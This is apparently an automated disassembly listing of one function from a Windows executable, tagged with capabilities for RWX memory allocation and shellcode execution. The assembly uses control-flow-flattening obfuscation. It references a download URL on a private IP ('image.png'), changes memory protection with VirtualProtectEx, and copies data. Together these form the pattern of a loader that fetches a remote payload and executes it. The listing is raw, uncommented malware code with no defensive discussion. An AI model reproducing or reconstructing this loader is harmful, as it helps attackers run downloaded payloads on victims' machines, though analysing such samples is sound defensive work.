Function at 0x14000c9b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x140013090]
mov ecx, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 9]
cmp ecx, 0xa
setl byte [rbp - 0xa]
lea r12, str.http:__10.0.0.145_download_image.png
mov r15, qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, 0xd56b0315
mov eax, 0x5b3723d
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3116c3f
mov ecx, 0x492c549e
nop word [rax + rax]
cmove eax, ecx
cmp dword [0x140013094], 0xa
cmovl eax, ecx
cmp eax, 0xf971a611
jle 0x14000cad0
cmp eax, 0x34cad61e
jle 0x14000cb40
cmp eax, 0x5a3609dc
jle 0x14000cc48
cmp eax, 0x69daa834
jg 0x14000ce7f
cmp eax, 0x608f9790
jle 0x14000d1b3
cmp eax, 0x6717eed8
jg 0x14000d714
cmp eax, 0x614caca7
jle 0x14000df94
cmp eax, 0x614caca8
je 0x14000ecac
cmp eax, 0x655465c3
je 0x14000ecca
cmp eax, 0x66deb7b5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ca8740
mov ecx, 0xc6664d3b
jmp 0x14000ca30
cmp eax, 0xbd25ba6f
jle 0x14000cbc0
cmp eax, 0xe233445a
jle 0x14000ccc9
cmp eax, 0xee6af6d5
jg 0x14000cf06
cmp eax, 0xe6596d7e
jle 0x14000d208
cmp eax, 0xe9a4308b
jg 0x14000d77f
cmp eax, 0xe8472e73
jle 0x14000dfb7
cmp eax, 0xe8472e74
je 0x14000ecec
cmp eax, 0xe9838811
je 0x14000ed0a
cmp eax, 0xe98cfe56
jne 0x14000ca3d
mov eax, 0x608f9791
jmp 0x14000ca3d
cmp eax, 0x17d9c282
jle 0x14000cd23
cmp eax, 0x226f6247
jg 0x14000cf66
cmp eax, 0x1d641e2e
jle 0x14000d25d
cmp eax, 0x1fb733ca
jg 0x14000d7e3
cmp eax, 0x1e55268c
jle 0x14000dfd7
cmp eax, 0x1e55268d
je 0x14000ed28
cmp eax, 0x1ee30459
je 0x14000ed46
cmp eax, 0x1fafc603
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ace2386
mov ecx, 0xcdda9099
jmp 0x14000ca30
cmp eax, 0xa33e76dd
jg 0x14000cdd6
cmp eax, 0x90c78279
jle 0x14000cfc6
cmp eax, 0x98490e09
jle 0x14000d2da
cmp eax, 0x9d092ff0
jg 0x14000d845
cmp eax, 0x9af12e35
jle 0x14000e00b
cmp eax, 0x9af12e36
je 0x14000ed6f
cmp eax, 0x9c3b6b6c
je 0x14000ed79
cmp eax, 0x9cee240e
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23d335d4
mov ecx, 0x4f8be87f
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x23d335d4
cmovl eax, ecx
jmp 0x14000ca3d
cmp eax, 0x492c549d
jle 0x14000d026
cmp eax, 0x4fa1b6c5
jle 0x14000d365
cmp eax, 0x54ef24fa
jg 0x14000d88f
cmp eax, 0x5239b2b0
jle 0x14000e03f
cmp eax, 0x5239b2b1
je 0x14000ed83
cmp eax, 0x535a0c6e
je 0x14000ed8d
cmp eax, 0x54586085
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
xor al, 1
or dl, cl
and dl, al
xor dl, bl
mov eax, 0xbca281b7
jmp 0x14000d9e7
cmp eax, 0xd43a21d8
jle 0x14000d072
cmp eax, 0xdac02446
jle 0x14000d3a6
cmp eax, 0xdf61f483
jg 0x14000d8d9
cmp eax, 0xdd8ffa33
jle 0x14000e088
cmp eax, 0xdd8ffa34
je 0x14000edab
cmp eax, 0xdd9c9996
je 0x14000edc9
cmp eax, 0xde9d308c
jne 0x14000ca3d
xor r13d, r13d
mov eax, 0x68b36d70
jmp 0x14000ca3d
cmp eax, 0x5b3723c
jle 0x14000d0d2
cmp eax, 0xc533152
jle 0x14000d3fb
cmp eax, 0x107c0d4b
jg 0x14000d923
cmp eax, 0xdff0da5
jle 0x14000e0bc
cmp eax, 0xdff0da6
je 0x14000edd3
cmp eax, 0xe83b0fb
je 0x14000eddd
cmp eax, 0x1051f4ab
jne 0x14000ca3d
mov eax, 0x10
call fcn.140010be0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x10
call fcn.140010be0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x10
call fcn.140010be0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xad23c5e1
mov ecx, 0x8aebd7f1
jmp 0x14000ca30
cmp eax, 0xb2e14e1a
jle 0x14000d132
cmp eax, 0xb8314050
jle 0x14000d450
cmp eax, 0xb9fae153
jg 0x14000d959
cmp eax, 0xb8ea6c59
jle 0x14000e0f0
cmp eax, 0xb8ea6c5a
je 0x14000edfb
cmp eax, 0xb939e046
je 0x14000ee19
cmp eax, 0xb962b109
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl bl
mov edx, ebx
xor dl, al
or cl, bl
xor dl, 1
and dl, cl
and bl, al
mov eax, edx
xor al, 1
or al, bl
mov ecx, ebx
xor cl, 1
and cl, dl
xor bl, dl
xor cl, bl
xor cl, al
mov ecx, 0x93b3a5c7
mov edi, 0x2b995f60
cmovne ecx, edi
test bl, bl
mov edx, ecx
cmovne edx, edi
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x14000ca3d
cmp eax, 0x772017f8
jle 0x14000d4e0
cmp eax, 0x7eabd82a
jg 0x14000d9f4
cmp eax, 0x794a7ed2
jle 0x14000e110
cmp eax, 0x794a7ed3
je 0x14000ee37
cmp eax, 0x7a870900
je 0x14000ee41
cmp eax, 0x7e097c5b
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140013094], 0xa
setge dl
setl al
mov ebx, eax
or cl, al
and al, r8b
xor bl, r8b
and cl, bl
and dl, r8b
xor dl, al
xor dl, cl
mov eax, 0xd7f6b7a0
mov ecx, 0x1ca989a9
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0xf13e4c49
jle 0x14000d535
cmp eax, 0xf6448b19
jg 0x14000da2a
cmp eax, 0xf1d0dbc1
jle 0x14000e130
cmp eax, 0xf1d0dbc2
je 0x14000ee77
cmp eax, 0xf388e0c4
je 0x14000ee81
cmp eax, 0xf5848ff9
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3ceccb38
mov ecx, 0xebc66f2d
jmp 0x14000ca30
cmp eax, 0x2b1e5d81
jle 0x14000d576
cmp eax, 0x324cf733
jle 0x14000da74
cmp eax, 0x32df48a2
jle 0x14000e195
cmp eax, 0x32df48a3
je 0x14000ee9f
cmp eax, 0x344d74fa
je 0x14000eecf
cmp eax, 0x34672dd1
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd66de74
mov ecx, 0x601dd546
jmp 0x14000ca30
cmp eax, 0x886f443a
jg 0x14000d5b7
cmp eax, 0x851d8ad3
jle 0x14000dad6
cmp eax, 0x86047d70
jle 0x14000e1c1
cmp eax, 0x86047d71
je 0x14000eeed
cmp eax, 0x863517d1
je 0x14000eef7
cmp eax, 0x86fdbc5b
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38a87d4f
mov ecx, 0xe98cfe56
jmp 0x14000ca30
cmp eax, 0x3cfe1a68
jg 0x14000d5f8
cmp eax, 0x35f6355f
jle 0x14000db15
cmp eax, 0x38a87d4e
jle 0x14000e1e1
cmp eax, 0x38a87d4f
je 0x14000ef15
cmp eax, 0x3bbc1974
je 0x14000ef1f
cmp eax, 0x3ceccb38
jne 0x14000ca3d
mov eax, 0xebc66f2d
jmp 0x14000ca3d
cmp eax, 0xc74105f5
jg 0x14000d639
cmp eax, 0xc52d7476
jle 0x14000db54
cmp eax, 0xc5fb7685
jle 0x14000e215
cmp eax, 0xc5fb7686
je 0x14000ef29
cmp eax, 0xc6664d3b
je 0x14000ef6a
cmp eax, 0xc68f3606
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd43a21d9
mov ecx, 0x32df48a3
jmp 0x14000ca30
cmp eax, 0x809717
jg 0x14000d692
cmp eax, 0xfe03d123
jle 0x14000db93
cmp eax, 0xff48519c
jle 0x14000e249
cmp eax, 0xff48519d
je 0x14000ef88
cmp eax, 0xffca286c
je 0x14000ef92
cmp eax, 0xfffedad7
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d54366
mov ecx, 0xc5a60acd
jmp 0x14000ca30
cmp eax, 0xabb81de9
jg 0x14000d6d3
cmp eax, 0xa8c0f966
jle 0x14000dbe9
cmp eax, 0xa968592e
jle 0x14000e2ac
cmp eax, 0xa968592f
je 0x14000ef9c
cmp eax, 0xa9cd7cf2
je 0x14000efd5
cmp eax, 0xaab2e7a1
jne 0x14000ca3d
mov eax, dword [0x140013090]
mov edi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, ecx
and al, dl
xor cl, r8b
or bl, r8b
and bl, cl
xor bl, al
mov ebx, 0x7eff10ea
mov esi, 0xb055501f
jmp 0x14000f97b
cmp eax, 0x5d258c6e
jle 0x14000dc28
cmp eax, 0x5e5c80eb
jle 0x14000e2cc
cmp eax, 0x5e5c80ec
je 0x14000efdf
cmp eax, 0x5e757685
je 0x14000efe9
cmp eax, 0x601dd546
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd66de74
mov ecx, 0x1e55268d
jmp 0x14000ca30
cmp eax, 0xe3fe9cd2
jle 0x14000dc67
cmp eax, 0xe59643e9
jle 0x14000e2f7
cmp eax, 0xe59643ea
je 0x14000f058
cmp eax, 0xe5b5c8d3
je 0x14000f062
cmp eax, 0xe62effdd
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38a87d4f
mov ecx, 0x86fdbc5b
jmp 0x14000ca30
cmp eax, 0x1ad56fff
jle 0x14000dca6
cmp eax, 0x1c5f0c2d
jle 0x14000e317
cmp eax, 0x1c5f0c2e
je 0x14000f080
cmp eax, 0x1c7d6ae6
je 0x14000f0cc
cmp eax, 0x1ca989a9
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0xd7f6b7a0
mov ecx, 0xabd760e8
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x93b3a5c6
jle 0x14000dce5
cmp eax, 0x97342ec0
jle 0x14000e34b
cmp eax, 0x97342ec1
je 0x14000f0e2
cmp eax, 0x977fcc96
je 0x14000f0ec
cmp eax, 0x9844ff3c
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov ebx, ecx
xor bl, dl
or cl, dl
xor bl, cl
xor cl, 1
or cl, dl
mov eax, ebx
xor al, cl
mov edx, 0xb6cac1b0
mov eax, 0xafd1184a
cmovne edx, eax
test cl, cl
mov eax, 0xb6cac1b0
cmovne eax, edx
test bl, bl
cmove eax, edx
jmp 0x14000ca3d
cmp eax, 0x4c7e5c5b
jle 0x14000dd10
cmp eax, 0x4d2fdb21
jle 0x14000e377
cmp eax, 0x4d2fdb22
je 0x14000f0f6
cmp eax, 0x4f765807
je 0x14000f100
cmp eax, 0x4f8be87f
jne 0x14000ca3d
mov eax, 0x23d335d4
jmp 0x14000ca3d
cmp eax, 0xd5ceb230
jle 0x14000dd3b
cmp eax, 0xd6a9c903
jle 0x14000e3ae
cmp eax, 0xd6a9c904
je 0x14000f10a
cmp eax, 0xd7f6b7a0
je 0x14000f128
cmp eax, 0xd8491e36
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa954b107
mov ecx, 0xbc00e8b
jmp 0x14000ca30
cmp eax, 0x9268ed6
jle 0x14000dd66
cmp eax, 0x9ca873f
jle 0x14000e3e2
cmp eax, 0x9ca8740
je 0x14000f132
cmp eax, 0xbc00e8b
je 0x14000f13c
cmp eax, 0xc02bab8
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x201ca7e5
mov ecx, 0xe6596d7f
jmp 0x14000ca30
cmp eax, 0xb6cac1af
jle 0x14000dd91
cmp eax, 0xb72baa29
jle 0x14000e402
cmp eax, 0xb72baa2a
je 0x14000f196
cmp eax, 0xb73ab6e6
je 0x14000f1a0
cmp eax, 0xb75609fc
jne 0x14000ca3d
mov edx, dword [0x140013090]
mov edi, dword [0x140013094]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete dl
cmp edi, 0xa
setl al
xor dl, al
mov ebx, eax
or al, cl
and al, dl
movzx esi, dl
xor dl, 1
and bl, cl
or bl, dl
movzx edx, bl
xor bl, 1
and bl, al
test al, al
cmovne esi, edx
xor sil, bl
mov eax, 0x85ea5541
mov edx, 0x2150dd56
cmovne eax, edx
test ecx, ecx
mov ecx, eax
cmove ecx, edx
jmp 0x14000f770
cmp eax, 0x6b0512cc
jle 0x14000ddf4
cmp eax, 0x6f50c542
jle 0x14000e436
cmp eax, 0x6f50c543
je 0x14000f1d5
cmp eax, 0x7292f6ec
je 0x14000f21a
cmp eax, 0x75d1cf1b
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x977fcc96
mov ecx, 0x86047d71
jmp 0x14000ca30
cmp eax, 0xf01a078f
jle 0x14000de1f
cmp eax, 0xf097bb46
jle 0x14000e46a
cmp eax, 0xf097bb47
je 0x14000f230
cmp eax, 0xf099c783
je 0x14000f275
cmp eax, 0xf0c8a54a
jne 0x14000ca3d
mov eax, 0x223d3a1a
jmp 0x14000ca3d
cmp eax, 0x251c5173
jle 0x14000de4a
cmp eax, 0x268ea33e
jle 0x14000e49e
cmp eax, 0x268ea33f
je 0x14000f293
cmp eax, 0x27ba27c4
je 0x14000f2b1
cmp eax, 0x2ace2386
jne 0x14000ca3d
mov eax, 0xcdda9099
jmp 0x14000ca3d
cmp eax, 0x8b0786d9
jle 0x14000de75
cmp eax, 0x8eb91a1b
jle 0x14000e4fa
cmp eax, 0x8eb91a1c
je 0x14000f2bb
cmp eax, 0x8ee2e24d
je 0x14000f2d9
cmp eax, 0x8f7565db
jne 0x14000ca3d
mov eax, 0xb10e789b
jmp 0x14000ca3d
cmp eax, 0x43d3032c
jle 0x14000dec6
cmp eax, 0x4722cf1d
jle 0x14000e52e
cmp eax, 0x4722cf1e
je 0x14000f2f7
cmp eax, 0x472984a3
je 0x14000f315
cmp eax, 0x4779c65e
jne 0x14000ca3d
mov eax, 0x268ea33f
jmp 0x14000ca3d
cmp eax, 0xccb51bb9
jle 0x14000def1
cmp eax, 0xcdda9098
jle 0x14000e54e
cmp eax, 0xcdda9099
je 0x14000f31f
cmp eax, 0xcea46fbf
je 0x14000f33d
cmp eax, 0xd0d60a15
jne 0x14000ca3d
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2374d96b
mov ecx, 0xb8314051
jmp 0x14000ca30
cmp eax, 0x36eb246
jle 0x14000df3e
cmp eax, 0x44a8006
jle 0x14000e582
cmp eax, 0x44a8007
je 0x14000f347
cmp eax, 0x494577c
je 0x14000f351
cmp eax, 0x4d718c3
jne 0x14000ca3d
mov eax, 0xe2c69d48
jmp 0x14000ca3d
cmp eax, 0xafd11849
jle 0x14000df69
cmp eax, 0xb055501e
jle 0x14000e5a2
cmp eax, 0xb055501f
je 0x14000f36f
cmp eax, 0xb10e789b
je 0x14000f38d
cmp eax, 0xb13dd577
jne 0x14000ca3d
mov eax, 0x9d68d870
jmp 0x14000ca3d
cmp eax, 0x684af818
jle 0x14000e5d9
cmp eax, 0x684af819
je 0x14000f3ab
cmp eax, 0x68a2b2fc
je 0x14000f3c9
cmp eax, 0x68b36d70
jne 0x14000ca3d
mov dword [rbp - 0x44], r13d
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xdac02447
mov ecx, 0xea29c831
jmp 0x14000f890
cmp eax, 0xebc66f2c
jle 0x14000e5f9
cmp eax, 0xebc66f2d
je 0x14000f3ef
cmp eax, 0xeca7ec39
je 0x14000f438
cmp eax, 0xee058394
jne 0x14000ca3d
cmp dword [rbp - 0x20], 0
setne byte [rbp - 0xb]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35f63560
mov ecx, 0x356cb632
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x35f63560
cmovl eax, ecx
jmp 0x14000ca3d
cmp eax, 0x20fc5133
jle 0x14000e655
cmp eax, 0x20fc5134
je 0x14000f442
cmp eax, 0x2150dd56
je 0x14000f460
cmp eax, 0x223d3a1a
jne 0x14000ca3d
mov rax, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov r9d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add rsp, 0x30
mov dword [rbp - 0x1c], eax
mov eax, 0xd6459e0a
jmp 0x14000ca3d
cmp eax, 0x9f912996
jle 0x14000e675
cmp eax, 0x9f912997
je 0x14000f47e
cmp eax, 0xa2133024
je 0x14000f49c
cmp eax, 0xa26a5c10
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x680f57b4
mov ecx, 0xf1d0dbc2
jmp 0x14000ca30
cmp eax, 0x57d9a4de
jle 0x14000e6a9
cmp eax, 0x57d9a4df
je 0x14000f4f2
cmp eax, 0x5989272f
je 0x14000f4fc
cmp eax, 0x598c69b2
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c49dfe
mov ecx, 0xf176addc
jmp 0x14000ca30
cmp eax, 0xe14bc259
jle 0x14000e6dd
cmp eax, 0xe14bc25a
je 0x14000f51d
cmp eax, 0xe1797eeb
je 0x14000f527
cmp eax, 0xe1cd4f4a
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90c7827a
mov ecx, 0x84cef50b
jmp 0x14000ca30
cmp eax, 0x157dc97d
jle 0x14000e739
cmp eax, 0x157dc97e
je 0x14000f545
cmp eax, 0x15f201b6
je 0x14000f54f
cmp eax, 0x162256d0
jne 0x14000ca3d
mov eax, 0xfa4f3cfe
jmp 0x14000ca3d
cmp eax, 0xbc4e7ed8
jle 0x14000e759
cmp eax, 0xbc4e7ed9
je 0x14000f582
cmp eax, 0xbc94d434
je 0x14000f58f
cmp eax, 0xbca281b7
jne 0x14000ca3d
mov rax, qword [rbp - 8]
mov qword [rax], 0
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
xor dl, 1
or cl, al
and cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
mov r8d, ebx
or r8b, cl
mov eax, edx
xor al, 1
and cl, bl
or cl, al
xor cl, dl
mov eax, ecx
not al
and al, r8b
xor cl, r8b
xor cl, al
test cl, 1
mov eax, 0x472984a3
mov ecx, 0x8b0786da
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x7f4958cb
jle 0x14000e78d
cmp eax, 0x7f4958cc
je 0x14000f599
cmp eax, 0x7f7b9f11
je 0x14000f5ae
cmp eax, 0x7ff4ab3f
jne 0x14000ca3d
mov eax, 0xf099c783
jmp 0x14000ca3d
cmp eax, 0xf80b40f5
jle 0x14000e7c1
cmp eax, 0xf80b40f6
je 0x14000f5ea
cmp eax, 0xf8a41cc5
je 0x14000f5f4
cmp eax, 0xf8bc2d05
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68a2b2fc
mov ecx, 0x1c5f0c2e
jmp 0x14000ca30
cmp eax, 0x2b995f5f
jle 0x14000e7f5
cmp eax, 0x2b995f60
je 0x14000f612
cmp eax, 0x3066e985
jne 0x140010050
mov rax, qword [rbp - 0x18]
mov qword [rax], 0
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, r12
call section..text
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x851d8ad4
mov ecx, 0xb8b4cae5
jmp 0x14000ca30
cmp eax, 0x834d0dec
jg 0x14000e829
cmp eax, 0x81d44b20
je 0x14000f630
cmp eax, 0x8228d1c3
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9268ed7
mov ecx, 0xabb81dea
jmp 0x14000ca30
cmp eax, 0x356cb631
jg 0x14000e85d
cmp eax, 0x34cad61f
je 0x14000f64e
cmp eax, 0x34cb4e5a
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa71f7ba9
mov ecx, 0xcdd5f2a2
jmp 0x14000ca30
cmp eax, 0xc102fd0c
jg 0x14000e89c
cmp eax, 0xbd25ba70
je 0x14000f66c
cmp eax, 0xbf1b1fa5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x257847b1
mov ecx, 0x9cee240e
jmp 0x14000ca30
cmp eax, 0xfd66de73
jg 0x14000e8bf
cmp eax, 0xf971a612
je 0x14000f68a
cmp eax, 0xfa4f3cfe
jne 0x14000ca3d
mov edx, dword [rbp - 0x24]
sub rsp, 0x20
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.14000b720
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeec3ab18
mov ecx, 0xe62effdd
jmp 0x14000ca30
cmp eax, 0xa6718d69
jg 0x14000e8f3
cmp eax, 0xa33e76de
je 0x14000f6b7
cmp eax, 0xa3a898b4
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdd9c9996
mov ecx, 0xbf1b1fa5
jmp 0x14000ca30
cmp eax, 0x5b957cd4
jg 0x14000e913
cmp eax, 0x5a3609dd
je 0x14000f6d5
cmp eax, 0x5b11f4fa
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5239b2b1
mov ecx, 0xfdcb5f2d
jmp 0x14000ca30
cmp eax, 0xe2f7b148
jg 0x14000e947
cmp eax, 0xe233445b
je 0x14000f6df
cmp eax, 0xe2c69d48
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d718c3
mov ecx, 0xd6a9c904
jmp 0x14000ca30
cmp eax, 0x1826c64a
jg 0x14000e97b
cmp eax, 0x17d9c283
je 0x14000f6fd
cmp eax, 0x17e20e5d
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x781ba97c
mov ecx, 0xa33e76de
jmp 0x14000ca30
cmp eax, 0x92eb0a70
jg 0x14000e99b
cmp eax, 0x90c7827a
je 0x14000f71b
cmp eax, 0x9285f1e3
jne 0x14000ca3d
mov eax, 0xe233445b
jmp 0x14000ca3d
cmp eax, 0x4c493a3a
jg 0x14000e9cf
cmp eax, 0x492c549e
je 0x14000f725
cmp eax, 0x4ae9e572
jne 0x14000ca3d
mov eax, 0x494577c
jmp 0x14000ca3d
cmp eax, 0xd4f88fe9
jg 0x14000ea03
cmp eax, 0xd43a21d9
je 0x14000f77d
cmp eax, 0xd48d08ef
jne 0x14000ca3d
mov eax, 0x967be58e
jmp 0x14000ca3d
cmp eax, 0x6818576
jg 0x14000ea37
cmp eax, 0x5b3723d
je 0x14000f787
cmp eax, 0x5c49dfe
jne 0x14000ca3d
mov eax, 0xf176addc
jmp 0x14000ca3d
cmp eax, 0xb5236f47
jg 0x14000ea6b
cmp eax, 0xb2e14e1b
je 0x14000f7a6
cmp eax, 0xb338368f
jne 0x14000ca3d
mov rax, qword [rbp - 8]
mov r8, qword [rax]
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x60], rax
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef725192
mov ecx, 0xe14bc25a
jmp 0x14000ca30
cmp eax, 0x6a414661
jg 0x14000eabf
cmp eax, 0x69daa835
je 0x14000f7b0
cmp eax, 0x6a21308b
jne 0x14000ca3d
mov eax, 0xc5fb7686
jmp 0x14000ca3d
cmp eax, 0xeec3ab17
jg 0x14000eaf3
cmp eax, 0xee6af6d6
je 0x14000f7ba
cmp eax, 0xeeae3758
jne 0x14000ca3d
mov eax, 0x9f912997
jmp 0x14000ca3d
cmp eax, 0x23d335d3
jg 0x14000eb33
cmp eax, 0x226f6248
je 0x14000f7d8
cmp eax, 0x2374d96b
jne 0x14000ca3d
mov eax, 0xb8314051
jmp 0x14000ca3d
cmp eax, 0x8a1157fb
jg 0x14000eb67
cmp eax, 0x886f443b
je 0x14000f7e2
cmp eax, 0x8884ad7a
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7292f6ec
mov ecx, 0x4f765807
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x7292f6ec
cmovl eax, ecx
jmp 0x14000ca3d
cmp eax, 0x3e96ee11
jg 0x14000ebc8
cmp eax, 0x3cfe1a69
je 0x14000f800
cmp eax, 0x3debd5b7
jne 0x14000ca3d
mov eax, 0x92eb0a71
jmp 0x14000ca3d
cmp eax, 0xc7da61cc
jg 0x14000ebfc
cmp eax, 0xc74105f6
je 0x14000f81c
cmp eax, 0xc780c654
jne 0x14000ca3d
sub rsp, 0x20
call r15
add rsp, 0x20
mov dword [rbp - 0x24], eax
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7f4958cc
mov ecx, 0x20fc5134
jmp 0x14000ca30
cmp eax, 0x2fe9b19
jg 0x14000ec30
cmp eax, 0x809718
je 0x14000f826
cmp eax, 0x1f29431
jne 0x14000ca3d
mov eax, 0xf6448b1a
jmp 0x14000ca3d
cmp eax, 0xad23c5e0
jg 0x14000ec50
cmp eax, 0xabb81dea
je 0x14000f844
cmp eax, 0xabd760e8
jne 0x14000ca3d
mov eax, 0x24e50405
jmp 0x14000ca3d
cmp eax, 0x608f9791
je 0x14000f862
cmp eax, 0x6103ea21
jne 0x14000ca3d
mov eax, dword [rbp - 0x1c]
mov eax, 0xccb51bba
jmp 0x14000ca3d
cmp eax, 0xe6596d7f
je 0x14000f89d
cmp eax, 0xe81927cd
jne 0x14000ca3d
mov eax, 0xd56b0315
jmp 0x14000ca3d
cmp eax, 0x1d641e2f
je 0x14000f8cd
cmp eax, 0x1db91e28
jne 0x14000ca3d
mov eax, dword [0x140013090]
